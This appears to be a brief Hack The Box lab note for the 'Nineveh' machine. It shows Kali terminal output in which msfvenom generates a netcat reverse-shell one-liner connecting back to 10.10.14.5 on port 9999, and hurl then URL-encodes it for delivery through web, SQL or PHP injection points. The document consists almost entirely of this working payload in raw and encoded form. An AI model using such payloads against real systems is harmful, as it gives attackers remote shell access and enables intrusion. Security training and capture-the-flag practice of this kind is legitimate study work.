Nineveh_Payload

msfvenom

---

┌──(kali㉿kali)-[~/archive/htb/labs/nineveh]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=9999                   
[-] no platform was selected, choosing msf::Module::Platform::Unix from the payload
[-] no arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
payload size: 100 bytes
mkfifo /tmp/brsjqzz; nc 10.10.14.5 9999 0</tmp/brsjqzz | /bin/sh >/tmp/brsjqzz 2>&1; rm /tmp/brsjqzz

Generating a reverse shell command with msfvenom

┌──(kali㉿kali)-[~/archive/htb/labs/nineveh]
└─$ hurl -U 'mkfifo /tmp/brsjqzz; nc 10.10.14.5 9999 0</tmp/brsjqzz | /bin/sh >/tmp/brsjqzz 2>&1; rm /tmp/brsjqzz'
 
original    :: mkfifo /tmp/brsjqzz; nc 10.10.14.5 9999 0</tmp/brsjqzz | /bin/sh >/tmp/brsjqzz 2>&1; rm /tmp/brsjqzz
url encoded :: mkfifo%20%2Ftmp%2Fbrsjqzz%3B%20nc%2010.10.14.5%209999%200%3C%2Ftmp%2Fbrsjqzz%20%7C%20%2Fbin%2Fsh%20%3E%2Ftmp%2Fbrsjqzz%202%3E%261%3B%20rm%20%2Ftmp%2Fbrsjqzz

The payload needs to be wrapped in the URL format for secure delivery over HTTP, SQL, and PHP due to the special reserved characters

mkfifo%20%2Ftmp%2Fbrsjqzz%3B%20nc%2010.10.14.5%209999%200%3C%2Ftmp%2Fbrsjqzz%20%7C%20%2Fbin%2Fsh%20%3E%2Ftmp%2Fbrsjqzz%202%3E%261%3B%20rm%20%2Ftmp%2Fbrsjqzz